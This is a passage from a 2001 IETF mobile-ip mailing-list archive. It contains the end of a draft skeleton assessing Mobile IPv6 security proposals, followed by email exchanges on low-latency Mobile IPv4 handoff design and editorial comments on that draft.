   2. Specific to Mobile IPv6
   2.1:N.
   2.2:N.
   2.3:N.
   2.4:N.
   2.5:N.
   2.6:N.
   2.7:N.
   2.8:N.
   2.9:N.
   2.10:N.
   2.11:N.

   3. Requirements from Threats
   3.1.1:N.
   3.1.2:N.
   3.1.4.1:N.
   3.1.4.2:N.
   3.2.3:N.
   3.2.4:N.
   3.4.2:N.
   3.4.3:N.
   3.5.1:N.
   3.7.1:N.
   3.8.1:N.
   3.8.2:N.
   3.8.3:N.


12.0 Comparison of the Proposals

   This section is a tabular side-by-side comparison of the above
   proposals in order to understand the tradeoffs involved.

   TO BE DONE






Expires May, 2002                                              [Page 15]





INTERNET DRAFT   MIPv6 Security: Assessment of Proposals   November 2001


13.0 Recommendations

   It also issues a recommendation or series of recommendations
   towards an official working group solution.

   TO BE DONE


References

[ADDROWN] Pekka Nikander, "An Address Ownership Problem in IPv6",
   draft-nikander-ipng-address-ownership-00.txt, February 2001.

[BAKE] draft-perkins-bake-00.txt

[BU3WAY] draft-nordmark-mobileip-bu3way-01.txt

[CAM] Greg O'Shea and Michael Roe, "Child-proof Authentication for
   MIPv6 (CAM)", ACM Computer Communications Review, April 2001.

[DHMIPv6] draft-le-mobileip-dh-00.txt

[HACOOKIES] draft-thomas-mobileip-ha-cookies-00.txt

[IPV6ADDR] Hinden, Deering, "IPv6 Addressing Architecture,"
   draft-ietf-ipngwg-addr-arch-v3-05.txt

[MIPv6] D. Johnson, C. Perkins, "Mobile IP for IPv6",
   draft-ietf-mobileip-ipv6-14.txt, July 2001. Work in progress.

[MIPv6SecReq] Mankin, Patil, Harkins, Nordmark, Nikander, Roberts,
   Narten, "Threat Models Introduced by Mobile IPv6 and
   Requirements for Security in Mobile IPv6",
   draft-ietf-mobileip-mipv6-scrty-reqts-01.txt, October 2001.
   Work in progress.

[PBK] draft-bradner-pbk-frame-00.txt.

[SAP] draft-mkhalil-mobileip-ipv6-sap-02.txt

[SUCV] draft-montenegro-sucv-01.txt

[UPDATEAUTH] draft-roe-mobileip-updateauth-00.txt








Expires May, 2002                                              [Page 16]





INTERNET DRAFT   MIPv6 Security: Assessment of Proposals   November 2001


Authors' addresses

   Questions about this document may be directed to:

    Gabriel Montenegro
    Sun Microsystems Laboratories, Europe
    29, chemin du Vieux Chene
    38240 Meylan, FRANCE

    Voice:  +33 476 18 80 45
    E-Mail: gab@sun.com

Copyright (c) The Internet Society (2000). All Rights Reserved.

   This document and translations of it may be copied and furnished to
   others, and derivative works that comment on or otherwise explain it
   or assist in its implementation may be prepared, copied, published
   and distributed, in whole or in part, without restriction of any
   kind, provided that the above copyright notice and this paragraph are
   included on all such copies and derivative works. However, this
   document itself may not be modified in any way, such as by removing
   the copyright notice or references to the Internet Society or other
   Internet organizations, except as needed for the purpose of
   developing Internet standards in which case the procedures for
   copyrights defined in the Internet Standards process must be
   followed, or as required to translate it into languages other than
   English.

   The limited permissions granted above are perpetual and will not be
   revoked by the Internet Society or its successors or assigns.

   This document and the information contained herein is provided on an
   "AS IS" basis and THE INTERNET SOCIETY AND THE INTERNET ENGINEERING
   TASK FORCE DISCLAIMS ALL WARRANTIES, EXPRESS OR IMPLIED, INCLUDING
   BUT NOT LIMITED TO ANY WARRANTY THAT THE USE OF THE INFORMATION
   HEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED WARRANTIES OF
   MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.


Changes











Expires May, 2002                                              [Page 17]





INTERNET DRAFT   MIPv6 Security: Assessment of Proposals   November 2001


Table of Contents

1.0 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . .   3
2.0 Methodology  . . . . . . . . . . . . . . . . . . . . . . . . . .   3
   2.1 Schedule  . . . . . . . . . . . . . . . . . . . . . . . . . .   4
3.0 Format for the Security Assessment . . . . . . . . . . . . . . .   4
4.0 [BAKE] Assessment  . . . . . . . . . . . . . . . . . . . . . . .   9
5.0 [BU3WAY] Assessment  . . . . . . . . . . . . . . . . . . . . . .  10
6.0  [DHMIPv6] Assessment  . . . . . . . . . . . . . . . . . . . . .  11
7.0  [HACOOKIES] Assessment  . . . . . . . . . . . . . . . . . . . .  11
8.0  [PBK] Assessment  . . . . . . . . . . . . . . . . . . . . . . .  12
9.0  [SAP] Assessment  . . . . . . . . . . . . . . . . . . . . . . .  13
10.0  [SUCV] Assessment  . . . . . . . . . . . . . . . . . . . . . .  14
11.0  [UPDATEAUTH] Assessment  . . . . . . . . . . . . . . . . . . .  15
12.0 Comparison of the Proposals . . . . . . . . . . . . . . . . . .  15
13.0 Recommendations . . . . . . . . . . . . . . . . . . . . . . . .  16
References . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  16
Authors' addresses . . . . . . . . . . . . . . . . . . . . . . . . .  17
Changes  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  17
































Expires May, 2002                                               [Page 2]



--------------5B5AF6E55DD22B23A5EDE781--



From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov  6 08:28:42 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA09789
	for <mobileip-archive@odin.ietf.org>; Tue, 6 Nov 2001 08:28:42 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id FAA01543;
	Tue, 6 Nov 2001 05:27:53 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA10844;
	Tue, 6 Nov 2001 05:26:01 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA6DPNQO020462
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 6 Nov 2001 05:25:23 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA6DPN3m020461
	for mobile-ip-dist; Tue, 6 Nov 2001 05:25:23 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA6DPJQO020454
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 6 Nov 2001 05:25:19 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA25868
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 6 Nov 2001 05:25:20 -0800 (PST)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA13064
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 6 Nov 2001 05:25:19 -0800 (PST)
Received: from esealnt462.al.sw.ericsson.se (ESEALNT462.al.sw.ericsson.se [153.88.251.62])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fA6DPIf03261
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 6 Nov 2001 14:25:18 +0100 (MET)
Received: FROM esealnt400.al.sw.ericsson.se BY esealnt462.al.sw.ericsson.se ; Tue Nov 06 14:25:05 2001 +0100
Received: by esealnt400 with Internet Mail Service (5.5.2653.19)
	id <THZ8LL9N>; Tue, 6 Nov 2001 14:25:06 +0100
Message-ID: <795A014AF92DD21182AF0008C7A404320DFBED59@esealnt117>
From: "Karim El-Malki (ERA)" <Karim.El-Malki@era.ericsson.se>
To: "'mobile-ip@sunroof.eng.sun.com'" <mobile-ip@sunroof.eng.sun.com>
Subject: RE: [mobile-ip] Low Latency MIPv4 Handoffs: PreReg Complexity
Date: Tue, 6 Nov 2001 14:24:29 +0100 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

> > In 3.3., 3.41. and 3.5 it says that the FAs SHOULD cache the
> > advertisements. I'll run through to check for inconsistencies. The
> > solicitation to nFA was meant for the case in which there 
> was no caching.
> > I was making some changes and wanted to clarify in 3.3 that 
> the MN SHOULD
> > unicast solicitation to oFA. Unicasting to nFA would have 
> been the fallback
> > for those cases where caching is impossible. However this 
> fallback doesn't
> > seem to add much so I'd like to remove it altogether. Would this
> > solve your concern?
> 
> It would help. It would also mean that FAs MUST solicit from each
> other and cache aderts, and MNs MUST unicast solicitations to oFA,
> right?

I meant MNs MUST unicast solicitations to oFA and FAs SHOULD do
message 1a/b in advance and cache. The inter-FA soliciting and
advertising SHOULD be done in advance with caching unless there's a
good reason not to. In the latter case it becomes part of the handoff
sequence and could add latency as described in the current text.

> > 
> > > 3 Section 3.4 lists three different ways of obtaining nFA
> > >   advertisements. This seems likely to cause interoperability 
> > > problems.
> > >   For example, what if FA1 expects all agent advertisements to
> > >   be piggybacked on L2 messaging, while FA2 does not? They will
> > >   not be able to exchange advertisements, and therefore will not
> > >   be able to complete PreReg handovers between them.
> > 
> > 3.4.1 and 3.4.2 each apply to different cases. 3.4.1 is for source
> > triggered or mobile initiated. 3.4.2 instead is for target 
> triggered.
> > I'll read it through to make this clear if it isn't. 3.4.3 instead
> > doesn't add much so I propose to take that away. This 
> should solve the
> > issue.
> 
> Taking away 3.4.2 would be good. I also recommend you frame 3.4.1
> and 3.4.2 not as alternate ways of obtaining adverts, but rather
> as one for source triggered and mobile initiated, and the other for
> target triggered.

I guess you meant taking away 3.4.3 would be good?
Yes, 3.4.1 and 3.4.2 are not applicable to the same cases.
The text in 3.4.1 and 3.4.2 does say which types of triggers each relates to,
but I have now moved that as first sentence in each section.

/Karim


From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov  6 10:22:09 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA17352
	for <mobileip-archive@odin.ietf.org>; Tue, 6 Nov 2001 10:22:08 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id HAA17577;
	Tue, 6 Nov 2001 07:21:19 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA03074;
	Tue, 6 Nov 2001 07:20:44 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA6FJuQO020749
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 6 Nov 2001 07:19:56 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA6FJuiP020748
	for mobile-ip-dist; Tue, 6 Nov 2001 07:19:56 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA6FJqQO020741
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 6 Nov 2001 07:19:52 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA05956
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 6 Nov 2001 07:19:52 -0800 (PST)
Received: from p-mail1.cnet.fr (p-mail1.rd.francetelecom.com [193.49.124.31])
	by patan.sun.com (8.9.3+Sun/8.9.3) with SMTP id IAA20863
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 6 Nov 2001 08:19:34 -0700 (MST)
Received: by p-biset.rd.francetelecom.fr with Internet Mail Service (5.5.2653.19)
	id <WLVHG9VG>; Tue, 6 Nov 2001 16:19:36 +0100
Received: from francetelecom.com (p-dico.rd.francetelecom.fr [139.100.18.135]) by p-grive.rd.francetelecom.fr with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id VTKKAM6V; Tue, 6 Nov 2001 16:19:32 +0100
Message-ID: <3BE7FF66.D75D224@francetelecom.com>
Date: Tue, 06 Nov 2001 16:19:02 +0100
From: Jean-Michel COMBES <jeanmichel.combes@francetelecom.com>
Organization: France =?iso-8859-1?Q?T=E9l=E9com?= R&D
X-Mailer: Mozilla 4.78 [fr] (Windows NT 5.0; U)
X-Accept-Language: fr
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] MIPv6 Security: Assessment of Proposals
References: <3BE79CC6.5AFF30BA@sun.com>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 8bit

Hi,

some comments/questions :

*** table of contents ***

Problem of place/page

*** Section 2, point 5 ***
"It SHOULD be possible to negociate alternative mechanisms."

What do you mean ? For example, a MN may have many mechanisms (eg. PBK, BAKE, etc.), before
using such a mechanism, are there some exchanges between MN and "random" CN to decide what
mechanism to use ? Or, have all IPv6 nodes the same mechanism ?

*** Section 2, point 6 ***
"A soon to be published I-D will identify the issues of using IPsec in conjonction with Mobile
IPv6."

I thought that it was out of scope for the moment ... Will this I-D be published before next
IETF Meeting ?

*** Section 3 ***
Problem of numbering

*** Section 3, point 2.3 ***
"The MN SHOULD be capable of ascertaining the identity of the access point to which is is
attaching and authenticate it."

Typo : twice "is".

When you say "access point", is it the Access Router (L3) or the L2 access point ?

*** Section 3, point 8.3 ***

Typo : twice "that".


Regards.
JMC.


gabriel montenegro a écrit :

> Folks,
>
> The chairs had asked me if I would be able to help with a document evaluating the different
> proposals against the requirements document (soon to appear in its rev02 version
> at your favorite drafts repository as draft-ietf-mobileip-mipv6-scrty-reqts-02.txt).
> I've been neglecting this terribly.
>
> Unfortunately, the problem won't go away. Given the shortness of time, the
> impending draft deadline next week, the urgency to have some progress
> by Salt Lake City, and the numerous proposals on the table, in consultation
> with the chairs, we've decided to involve all of you in a distributed effort to
> start this document.
>
> I've provided a skeleton, and a nomenclature based on the items in the
> requirements document. The idea is that each proposal has its own section in which
> it is assessed in a well-defined format. We have already asked the authors for
> help with their respective protocol assessments.
>
> We believe that involving the authors
> early on is a good way to get us all thinking critically (pros and cons)
> about our own proposals, and it would be a quick way to jump start the
> review and evaluation process.
>
> But we hope and anticipate that all interested working group members will
> participate as well. You will find further info on how to assess the proposals
> in the attached document. If you have time to assess only one proposal: great.
> More than that? Wonderful.
>
> In order to make the deadline, it would be great if you could send me
> the evaluations for your proposals by next Tuesday November 13. That would give me
> a little over a day to include them into the evaluation document in time for
> submission. Any feedback received after Tuesday will be taken into consideration
> for the post Salt Lake City revision.
>
> Thanks in advance for your cooperation,
>
> -gabriel

--

France Telecom R&D - DTL/SSR
Jean-Michel COMBES, Internet/Intranet Security
E-Mail : jeanmichel.combes@francetelecom.com
Phone +33 (0)1 45 29 45 94, Fax +33 (0)1 45 29 65 19
PGP fingerprint : 07C6 37BF 4DE5 1CE1 EEB1 1F13 5D75 9E33 CFA7 0214



From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov  6 10:45:21 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA18615
	for <mobileip-archive@odin.ietf.org>; Tue, 6 Nov 2001 10:45:20 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id HAA28992;
	Tue, 6 Nov 2001 07:44:46 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA14957;
	Tue, 6 Nov 2001 07:44:39 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA6FhjQO020879
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 6 Nov 2001 07:43:46 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA6Fhjv5020878
	for mobile-ip-dist; Tue, 6 Nov 2001 07:43:45 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA6FhgQO020871
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 6 Nov 2001 07:43:42 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA07296
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 6 Nov 2001 07:43:42 -0800 (PST)
Received: from charizard.diameter.org (c900656-a.plstn1.sfba.home.com [24.20.167.220])
	by venus.sun.com (8.9.3+Sun/8.9.3) with SMTP id HAA28551
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 6 Nov 2001 07:43:41 -0800 (PST)
Received: (qmail 5661 invoked by uid 500); 6 Nov 2001 15:27:29 -0000
Date: Tue, 6 Nov 2001 07:27:29 -0800
From: Pat Calhoun <pcalhoun@diameter.org>
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] Low Latency MIPv4 Handoffs: PreReg Complexity
Message-ID: <20011106072729.C5503@charizard.diameter.org>
References: <795A014AF92DD21182AF0008C7A404320DFBED59@esealnt117>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <795A014AF92DD21182AF0008C7A404320DFBED59@esealnt117>; from Karim.El-Malki@era.ericsson.se on Tue, Nov 06, 2001 at 02:24:29PM +0100
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

On Tue, Nov 06, 2001 at 02:24:29PM +0100, Karim El-Malki (ERA) wrote:
> > > In 3.3., 3.41. and 3.5 it says that the FAs SHOULD cache the
> > > advertisements. I'll run through to check for inconsistencies. The
> > > solicitation to nFA was meant for the case in which there 
> > was no caching.
> > > I was making some changes and wanted to clarify in 3.3 that 
> > the MN SHOULD
> > > unicast solicitation to oFA. Unicasting to nFA would have 
> > been the fallback
> > > for those cases where caching is impossible. However this 
> > fallback doesn't
> > > seem to add much so I'd like to remove it altogether. Would this
> > > solve your concern?
> > 
> > It would help. It would also mean that FAs MUST solicit from each
> > other and cache aderts, and MNs MUST unicast solicitations to oFA,
> > right?
> 
> I meant MNs MUST unicast solicitations to oFA and FAs SHOULD do
> message 1a/b in advance and cache. The inter-FA soliciting and
> advertising SHOULD be done in advance with caching unless there's a
> good reason not to. In the latter case it becomes part of the handoff
> sequence and could add latency as described in the current text.

If neighboring FAs cache their advertisements, how do you deal with stale 
challenges???

PatC


From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov  6 11:20:00 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA19788
	for <mobileip-archive@odin.ietf.org>; Tue, 6 Nov 2001 11:19:59 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id IAA16987;
	Tue, 6 Nov 2001 08:19:25 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA21601;
	Tue, 6 Nov 2001 08:17:22 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA6GGXQO021079
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 6 Nov 2001 08:16:33 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA6GGXnV021078
	for mobile-ip-dist; Tue, 6 Nov 2001 08:16:33 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA6GGTQO021071
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 6 Nov 2001 08:16:30 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA21362
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 6 Nov 2001 08:16:30 -0800 (PST)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA05121
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 6 Nov 2001 09:16:30 -0700 (MST)
Received: from esealnt409.al.sw.ericsson.se (ESEALNT409.al.sw.ericsson.se [153.88.251.32])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fA6GGRf13969
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 6 Nov 2001 17:16:27 +0100 (MET)
Received: FROM esealnt742.al.sw.ericsson.se BY esealnt409.al.sw.ericsson.se ; Tue Nov 06 17:16:25 2001 +0100
Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19)
	id <TH2LMT70>; Tue, 6 Nov 2001 17:08:34 +0100
Message-ID: <795A014AF92DD21182AF0008C7A404320DFBED5B@esealnt117>
From: "Karim El-Malki (ERA)" <Karim.El-Malki@era.ericsson.se>
To: "'mobile-ip@sunroof.eng.sun.com'" <mobile-ip@sunroof.eng.sun.com>
Subject: RE: [mobile-ip] Low Latency MIPv4 Handoffs: Relaying RegReplies v
	 ia oFA
Date: Tue, 6 Nov 2001 17:15:49 +0100 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

> > 
> > Instead one way to do the nFA-oFA tunnelling would be to 
> add an LLA extension
> > for the oFA identifier to the MN's Registration Request. 
> That adds some
> > complexity and I'm not sure if it gains us anything, since 
> the MN may have
> > left the oFA link anyway by the time the reply arrives. 
> Anyone have a strong
> > opinion?
> > 
> 
> The alternative is for nFA to hold on to the registration reply until
> the MN's link-up L2 trigger appears, and then deliver the reg reply.
> This actually seems even more complex than adding an LLA extension
> for oFA, since nFA will need to maintain a reg reply table, aging
> and flushing it as appropriate.

In some systems it may be no use to get the reply over to oFA since
the MN will detach immediately and go to nFA. So the nFA has to anyway
send the reply as its first packet to the MN following a link-up (L2-UP)
at nFA. It could be done keeping a table or it could be done putting
the reply in a MN buffer. It doesn't have to be too complex. Putting
the LLA extension on the MN Registration would allow in addition
a copy of the reply to be sent through oFA at the old link. Without
this, it seems, the reply can only reach the MN at the new link.

I think it's probably easier to have the Reply only sent through the new
link (nFA). The MN then changes default router as soon as it gets the
reply once connected to nFA.

/Karim


From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov  6 11:46:53 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA20931
	for <mobileip-archive@odin.ietf.org>; Tue, 6 Nov 2001 11:46:52 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id IAA02012;
	Tue, 6 Nov 2001 08:46:07 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA27605;
	Tue, 6 Nov 2001 08:45:16 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA6GiIQO021405
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 6 Nov 2001 08:44:18 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA6GiIDA021404
	for mobile-ip-dist; Tue, 6 Nov 2001 08:44:18 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA6GiFQO021397
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 6 Nov 2001 08:44:15 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA27473
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 6 Nov 2001 08:44:16 -0800 (PST)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA12928
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 6 Nov 2001 09:43:57 -0700 (MST)
Received: from esealnt409.al.sw.ericsson.se (ESEALNT409.al.sw.ericsson.se [153.88.251.32])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fA6GiEf05105
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 6 Nov 2001 17:44:14 +0100 (MET)
Received: FROM esealnt400.al.sw.ericsson.se BY esealnt409.al.sw.ericsson.se ; Tue Nov 06 17:44:12 2001 +0100
Received: by esealnt400 with Internet Mail Service (5.5.2653.19)
	id <THZ8LXQ5>; Tue, 6 Nov 2001 17:44:12 +0100
Message-ID: <795A014AF92DD21182AF0008C7A404320DFBED5C@esealnt117>
From: "Karim El-Malki (ERA)" <Karim.El-Malki@era.ericsson.se>
To: "'mobile-ip@sunroof.eng.sun.com'" <mobile-ip@sunroof.eng.sun.com>
Subject: RE: [mobile-ip] Low Latency MIPv4 Handoffs: Coverage Area Transit
	 ion
Date: Tue, 6 Nov 2001 17:43:43 +0100 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

> First I should call out one place where it looks like we may have
> differing assumptions. I assert that the MN MUST know whether or
